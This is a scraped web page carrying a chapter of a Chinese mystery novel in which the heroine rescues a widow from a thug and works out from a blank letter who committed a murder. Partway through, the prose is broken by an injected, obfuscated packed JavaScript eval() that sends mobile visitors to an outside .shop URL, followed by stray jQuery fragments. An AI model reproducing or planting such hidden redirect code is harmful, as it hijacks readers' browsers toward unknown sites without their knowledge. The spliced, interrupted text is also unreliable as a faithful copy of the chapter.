文趣网 > 都市小说 > 如何让高岭之花发疯 > 17. 第十七章 凶手
    阮辞秋面无表情,正当三娘以为她不会给的时候,阮辞秋才从口袋里又拿出来了几颗。

    “你不是不喜欢我吗,那就不可以来我家哦。”阮辞秋罕见露出一抹笑,“下次再偷偷来......”

    三娘拿到糖喜悦的小表情还没有维持三秒,立刻哭丧着脸,摇头道:“才不要,我喜欢漂亮哥哥,阮姐姐是坏蛋,天天关着门锁着他!”

    三娘说着说着,突然意识到自己说漏嘴了,赶紧捂住嘴。

    阮辞秋忍住笑意,继续吓唬她,“你一来就受伤,证明你和我家的风水,八字不合。”摸摸三娘滑嫩的小脸蛋,“下次不许来了。”

    “才不是!”三娘气鼓鼓嘟起嘴,“是刘婶婶在你家门口走来走去,我凑过去问她,她没注意到我,才被撞的!”

    “哦~”阮辞秋试探着问道:“她这几日都来了?”

    三娘一脸正色,“对啊,刘婶婶要么早上躲在你们家旁边那颗槐树旁,要么天快黑了,站在你家后门往里面望。”

    刘寡妇?又是她?都是挑没人的时候来。

    阮辞秋想起刘寡妇那欲言又止的表情,总觉得这中间有什么事情。

    难不成和黄老头有关?

    ——

    阮辞秋上完工,心里还揣着刘寡妇的事,不知不觉走到了村尾的巷子。

    这条巷子偏僻,平日里没人会走,只有些二流子会在此围做一团,两个人放风,一堆人偷偷赌钱。

    阮辞秋不是个爱惹事的性子,走了两步,就要退出去。

    可巷子里传来了一阵哭声,她侧过身,偷偷望出去。

    几个地痞排成一排,地上蹲着个女人,手脚并用往后缩去。

    其中一个阮辞秋认识,他虽遮着脸,但阮辞秋却一眼看出来,这是周夫人的弟弟,周老爷的小舅子,孙二。

    孙二是个吃喝嫖赌样样精通的主,每每在周夫人那里拿了钱,不是去镇上的赌坊花,就是去花楼喝花酒。

    即便这样,他还是欠了一屁股的债,上林村里的乡亲,他几乎每一个都欠了钱。

    周老爷面上不闻不问。每每有人上门要钱,周老爷便痛心疾首,话里话外让乡亲们找孙二去,与他无关。

    周老爷做人一向厚道,乡亲们也就不好意思上门了,都说是孙二有错。

    前年孙二惹上人命官司了,周老爷看似是护不住了,他便跑去了外乡,没想到隔了一年却大摇大摆回来了。

    孙二站在中心,一看就是带头的。

    孙二欺男霸女的美名也不是一天两天了,只是他人还在通缉榜上,就这样大摇旗鼓欺负人,实在是蠢。

    人墙中间有缝隙,清晰可见的那个女人的脸,是刘寡妇!

    刘寡妇生性懦弱,那张还算有些姿色的脸上,全是恐惧和害怕,她嘴上一直说着,“那封信上什么都没写,信也给你们看了,我是真的不知道。”

    阮辞秋的心狠狠一沉,这不是她该管的事情。

    从前她家遭遇巨变,也没人管她不是吗?

    她刚想转身,只听见地上的女人又说,“周老爷欠下的人命债多了,跟我有什么关系,你们别再逼我了!”

    ——

    阮辞秋的脚步骤然停下。

    人命债?什么人命债?

    她想起刘寡妇那几日每日都在家门口转悠,又想起黄老头总是阴阳怪气的话。

    那厢孙二发了怒,一巴掌就打在了刘寡妇的脸上,扯着她的衣服领口,破口大骂,“你说不说,你不说老子今天就玩死你个烂货!”

    来不及了,阮辞秋左右看看,看见巷口墙上挂着一面旧铜锣。是更夫巡夜用的,用麻绳系着。

    有法子了!

    只见阮辞秋冲上去,抡起锣槌,用尽全身力气敲下去。

    “哐当!哐当!”

    两声划破长空,向微死的天空扯开一道口子,接着一声又一声。

    “走水啦!走水啦!”

    住在一旁的村民从家中出来,循着声音而来。

    天已黑了大半,巷子里的人都有些慌了。

    孙二松开刘寡妇,冲着巷口,没好气吼道:“谁他娘的在敲锣!”

    底下人却按住他,那人满脸担忧,“老大,别去了,你还挂在通缉榜上,快逃吧,周老爷让你将功赎罪,你若又惹出什么事,只怕他不肯保你啊!”

    另一个地痞也附和,“是啊,二爷快走吧,咱改天收拾这娘们。”

    孙二面色铁青。姐夫只让他恐吓这寡妇,若真把村民招来,那就不好说了。

    “走!”他咬咬牙,带着几个地痞往巷子深处跑。

    可他们刚跑没几步,那头就传了许多脚步声。火把的光从巷子照得影影绰绰。

    巷口一群人围着,人手一个盛满水的木桶。

    为首的便是那个想要将孙二千刀万剐的庄稼汉赵大柱。

    庄稼汉的小女儿就是走夜路被孙二盯上,硬生生被他折辱致死的。

    阮辞秋看人越来越多,在队伍尾部起哄,“看,那人长得好眼熟!”

    “孙二!是孙二那畜生!”

    “抓住他!”

    这年头谁的日子好过,今年更是难极了,家里的细粮都快吃不起了,更别说拖家带口的了。

    他们住在村尾的这些人都被孙二坑害过,如今好不容易找到这无赖了,说什么也要扒他一层皮!

    一时间安静的巷子全是吵嚷声。

    孙二抬头一看,妈呀,好多人啊!

    为首的庄稼老汉,他最熟悉不过,那人的眼神都快把他生吞活剥了。

    巷尾除了破庙,就是一堵高高的墙。

    他们走到了死胡同里。

    叫喊声,求饶声,真是民怨沸腾!

    阮辞秋趁乱走到刘寡妇身侧,没有伸手,只说,“起来。”

    刘寡妇早就被吓破胆子了,期期艾艾的,像鹌鹑似的,又将头埋进膝盖里。

    阮辞秋有些不耐烦了,“你别哭了。”皱着眉头,“还走不走,你要是不走,他们折返回来,我可不会再救你。”

    刘寡妇这才如梦初醒般,恍恍惚惚站起身,老老实实跟着阮辞秋往外走。

    他们走了一段路,回了刘寡妇的住处。

    刘寡妇家中还有个女儿,前几日被刘寡妇送回娘家了,眼前这房子是黄老头帮着置办的,比起村里大多数人的家,要好很多。

    刘寡妇惊魂未定,坐在

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17921376|213472||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    凳子上,惴惴不安,眼泪还冻在睫毛上。

    她微红着眼睛,颤巍巍朝着阮辞秋道谢,“阮娘子,谢谢你......”

    “不用说这些。”阮辞秋十分不客气打断她,“我救你是图回报的。”

    “我这条命是阮娘子救回来的,阮娘子想要什么,我都......”

    “那好,我问你”,阮辞秋语气沉了沉,“黄健仁给你的信,上头到底写什么了。”

    刘寡妇表情一滞,嘴唇抖了抖,深吸一口气,“阮娘子,不管你信不信,他给我的纸上,真的什么也没写。”

    阮辞秋表情微变,像是听见了什么好笑的事情,“你觉得我会信?”

    刘寡妇看她不信,赶紧从床头的樟木箱子里翻找着。

    信被她藏在箱子最底下。

    信里三层外三层包着红纸棉布,她一层层展开,里头是那封黄建仁写的信。

    阮辞秋接过信,打开。

    果然是没有一个字,干干净净的。

    “那你前几日去我家门口做什么。”阮辞秋又问。

    刘寡妇瞅了眼阮辞秋,终究像是下定决心,“那日你家夫婿和他在一块儿,我想知道,他最后有没有给我留什么话。”

    阮辞秋捏着那封信,坐到刘寡妇对面,纸张是寻常百姓都用得起的糙麻纸,她将纸张对着灯影,看了又看,忽然问,“黄老头死前,是不是同你说了什么。”

    刘寡妇瞪大眼睛,眼神闪躲着,嘴唇翕动。

    “他若真有话留给你,就不可能只是一张纸。”阮辞秋的声音很轻,却像是细针,针针扎进要害,“但这真是一张普通的纸,那便是给你留的保命符。”

    刘寡妇愣愣看着,眼眶却越来越红,“他胆子小,不敢杀人的...他是被逼的!”

    “人自然不是他杀的,他当众写信,是为了告诉他身后的人,不要轻举妄动,他手里攥着证据,到时候报上衙门,玉石俱焚。”阮秋辞继续说,“他又怕证据害了你,便只留一张白纸,让人猜忌,却不敢真对你如何。”

    刘寡妇捂住嘴,肩膀抖动得厉害。

    “可他算漏了一样。”阮辞秋把信还给她,“这衙门和他身后之人,早就蛇鼠一窝,根本起不到任何作用。”

    刘寡妇突然觉得脊背发寒,颤着音问,“你知道是谁杀了姚娘子?”

    “自然。”

    黄老头能当众写信,那么凶手便在那日在场的人中间。

    阮辞秋不傻,早在周家看见姚娘子死状时,她便心里有了答案。

    而又有谁能在窑场这样守卫严密的地方悄无声息杀人你,又有谁能指使丫鬟故意带她去厢房呢。

    自然是她那位好世伯,周老爷了。

    刘寡妇悬着的心这才放下,她的眼泪再也止不住,“都怪我,若不是我,他也不会为了那笔钱,去做这件事。”

    阮辞秋原先还没有证据,刘寡妇这样说,那便是做实了她的推测。

    阮辞秋见她如此伤心,似懂非懂,“你同他是被逼的吧,他如今死了,你怎的。”

    阮辞秋说的不假,刘寡妇年轻时是上林乡里的一枝花,许多人排着队上门提亲,她千挑万选,选了个读书人成了婚。